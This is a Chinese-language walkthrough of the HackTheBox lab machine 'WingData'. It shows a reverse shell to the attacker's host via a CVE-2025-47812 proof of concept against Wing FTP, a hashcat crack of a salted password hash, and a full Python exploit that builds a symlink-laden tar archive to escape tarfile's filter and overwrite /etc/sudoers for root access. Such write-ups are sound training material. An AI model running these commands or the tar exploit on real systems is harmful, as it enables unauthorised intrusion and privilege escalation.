HackTheBoxSeason10WingData难度:Easy

admin 2026-03-03 08:55:48 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 本文档详细记录了HackTheBoxWingData机器的渗透过程。首先利用CVE-2025-47812漏洞获取WingFTP初始Shell,通过破解配置文件中的加盐哈希密码完成横向移动。提权阶段深入分析Sudo权限脚本,通过构造包含恶意符号链接的TAR文件绕过路径限制,成功覆写etc/sudoers文件获取Root权限。内容涵盖信息收集、漏洞利用、哈希破解及本地提权等关键技术点。 综合评分: 88 文章分类: 渗透测试,实战经验,CTF,漏洞分析


cover_image

HackTheBox Season 10 WingData 难度:Easy

原创

信益安研究院 信益安研究院

信益安信息安全研究院

2026年2月16日 13:58 湖北

WingData

nmap:

添加进hosts文件访问:

再把这个域名也添加访问:

通过版本找到了cve(CVE-2025-47812):

脚本直接打:

//https://github.com/4m3rr0r/CVE-2025-47812-poc/blob/main/CVE-2025-47812.py
python3 47812.py -u http://ftp.wingdata.htb -c 'whoami' -v

反弹shell:

python3 47812.py -u http://ftp.wingdata.htb -c 'busybox nc 10.10.xx.xx 8888 -e sh' -v

拿到shell后在Wing FTP安装目录下发现了用户加密凭据:

32940defd3c3ef70a2dd44a5301ff984c4742f0baae76ff5b8783994f8a503ca

爆破hash(Wing FTP 使用SHA256算法,并使用盐值“WingFTP”为加密方式。):

hashcat -m 1410 hash.txt /usr/share/wordlists/rockyou.txt
//   wacky/!#7Blushing^*Bride5

ssh上去成功拿到user的flag:

ssh [email protected]

提权:

看下sudo权限发现有个脚本:

sudo -l

看一下这个脚本:

脚本内容:

#!/usr/bin/env python3
import tarfile
import os
import sys
import re
import argparse

BACKUP_BASE_DIR = "/opt/backup_clients/backups"
STAGING_BASE = "/opt/backup_clients/restored_backups"

def validate_backup_name(filename):
    if not re.fullmatch(r"^backup_\d+\.tar$", filename):
        return False
    client_id = filename.split('_')[1].rstrip('.tar')
    return client_id.isdigit() and client_id != "0"

def validate_restore_tag(tag):
    return bool(re.fullmatch(r"^[a-zA-Z0-9_]{1,24}$", tag))

def main():
    parser = argparse.ArgumentParser(
        description="Restore client configuration from a validated backup tarball.",
        epilog="Example: sudo %(prog)s -b backup_1001.tar -r restore_john"
    )
    parser.add_argument(
        "-b", "--backup",
        required=True,
&nbsp; &nbsp; &nbsp; &nbsp; help="Backup filename (must be in /home/wacky/backup_clients/ and match backup_<client_id>.tar, "
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;"where <client_id> is a positive integer, e.g., backup_1001.tar)"
&nbsp; &nbsp; )
&nbsp; &nbsp; parser.add_argument(
&nbsp; &nbsp; &nbsp; &nbsp; "-r", "--restore-dir",
&nbsp; &nbsp; &nbsp; &nbsp; required=True,
&nbsp; &nbsp; &nbsp; &nbsp; help="Staging directory name for the restore operation. "
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;"Must follow the format: restore_<client_user> (e.g., restore_john). "
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;"Only alphanumeric characters and underscores are allowed in the <client_user> part (1–24 characters)."
&nbsp; &nbsp; )

&nbsp; &nbsp; args = parser.parse_args()

&nbsp; &nbsp; if not validate_backup_name(args.backup):
&nbsp; &nbsp; &nbsp; &nbsp; print("[!] Invalid backup name. Expected format: backup_<client_id>.tar (e.g., backup_1001.tar)", file=sys.stderr)
&nbsp; &nbsp; &nbsp; &nbsp; sys.exit(1)

&nbsp; &nbsp; backup_path = os.path.join(BACKUP_BASE_DIR, args.backup)
&nbsp; &nbsp; if not os.path.isfile(backup_path):
&nbsp; &nbsp; &nbsp; &nbsp; print(f"[!] Backup file not found: {backup_path}", file=sys.stderr)
&nbsp; &nbsp; &nbsp; &nbsp; sys.exit(1)

&nbsp; &nbsp; if not args.restore_dir.startswith("restore_"):
&nbsp; &nbsp; &nbsp; &nbsp; print("[!] --restore-dir must start with 'restore_'", file=sys.stderr)
&nbsp; &nbsp; &nbsp; &nbsp; sys.exit(1)

&nbsp; &nbsp; tag = args.restore_dir[8:]
&nbsp; &nbsp; if not tag:
&nbsp; &nbsp; &nbsp; &nbsp; print("[!] --restore-dir must include a non-empty tag after 'restore_'", file=sys.stderr)
&nbsp; &nbsp; &nbsp; &nbsp; sys.exit(1)

&nbsp; &nbsp; if not validate_restore_tag(tag):
&nbsp; &nbsp; &nbsp; &nbsp; print("[!] Restore tag must be 1–24 characters long and contain only letters, digits, or underscores", file=sys.stderr)
&nbsp; &nbsp; &nbsp; &nbsp; sys.exit(1)

&nbsp; &nbsp; staging_dir = os.path.join(STAGING_BASE, args.restore_dir)
&nbsp; &nbsp; print(f"[+] Backup: {args.backup}")
&nbsp; &nbsp; print(f"[+] Staging directory: {staging_dir}")

&nbsp; &nbsp; os.makedirs(staging_dir, exist_ok=True)

&nbsp; &nbsp; try:
&nbsp; &nbsp; &nbsp; &nbsp; with tarfile.open(backup_path, "r") as tar:
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; tar.extractall(path=staging_dir, filter="data")
&nbsp; &nbsp; &nbsp; &nbsp; print(f"[+] Extraction completed in {staging_dir}")
&nbsp; &nbsp; except (tarfile.TarError, OSError, Exception) as e:
&nbsp; &nbsp; &nbsp; &nbsp; print(f"[!] Error during extraction: {e}", file=sys.stderr)
&nbsp; &nbsp; &nbsp; &nbsp; sys.exit(2)

if __name__ == "__main__":
&nbsp; &nbsp; main()

我们用这个脚本来利用:

cat > exploit.py << 'EOF'
import tarfile
import os
import io
import sys
comp = 'd' * 247
steps = "abcdefghijklmnop"
path = ""
with tarfile.open("/tmp/backup_9999.tar", mode="w") as tar:
&nbsp; &nbsp; for i in steps:
&nbsp; &nbsp; &nbsp; &nbsp; a = tarfile.TarInfo(os.path.join(path, comp))
&nbsp; &nbsp; &nbsp; &nbsp; a.type = tarfile.DIRTYPE
&nbsp; &nbsp; &nbsp; &nbsp; tar.addfile(a)
&nbsp; &nbsp; &nbsp; &nbsp; b = tarfile.TarInfo(os.path.join(path, i))
&nbsp; &nbsp; &nbsp; &nbsp; b.type = tarfile.SYMTYPE
&nbsp; &nbsp; &nbsp; &nbsp; b.linkname = comp
&nbsp; &nbsp; &nbsp; &nbsp; tar.addfile(b)
&nbsp; &nbsp; &nbsp; &nbsp; path = os.path.join(path, comp)
&nbsp; &nbsp; linkpath = os.path.join("/".join(steps), "l"*254)
&nbsp; &nbsp; l = tarfile.TarInfo(linkpath)
&nbsp; &nbsp; l.type = tarfile.SYMTYPE
&nbsp; &nbsp; l.linkname = "../" * len(steps)
&nbsp; &nbsp; tar.addfile(l)
&nbsp; &nbsp; e = tarfile.TarInfo("escape")
&nbsp; &nbsp; e.type = tarfile.SYMTYPE
&nbsp; &nbsp; e.linkname = linkpath + "/../../../../../../../etc"
&nbsp; &nbsp; tar.addfile(e)
&nbsp; &nbsp; f = tarfile.TarInfo("sudoers_link")
&nbsp; &nbsp; f.type = tarfile.LNKTYPE
&nbsp; &nbsp; f.linkname = "escape/sudoers"
&nbsp; &nbsp; tar.addfile(f)
&nbsp; &nbsp; content = b"wacky ALL=(ALL) NOPASSWD: ALL\n"
&nbsp; &nbsp; c = tarfile.TarInfo("sudoers_link")
&nbsp; &nbsp; c.type = tarfile.REGTYPE
&nbsp; &nbsp; c.size = len(content)
&nbsp; &nbsp; tar.addfile(c, fileobj=io.BytesIO(content))
print("[+] Exploit created")
EOF

先利用脚本生成一个tar文件

python3 exploit_cve.py

复制这个恶意的tar文件到sudo权限的目录下

cp backup_9999.tar /opt/backup_clients/backups/

运行这个sudo脚本:

sudo /usr/local/bin/python3 /opt/backup_clients/restore_backup_clients.py -b backup_9999.tar -r restore_evil

此时发现我们的sudo权限被修改了:

直接sudo su即可到root,成功拿到root的flag:

最后

🌟感谢您看到这里,您的支持与关注,是我们持续输出内容的最大动力

🌟欢迎在season 10 赛季期间进群交流


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:信益安信息安全研究院 信益安研究院 信益安研究院《HackTheBox Season 10 WingData 难度:Easy》

评论:0   参与:  0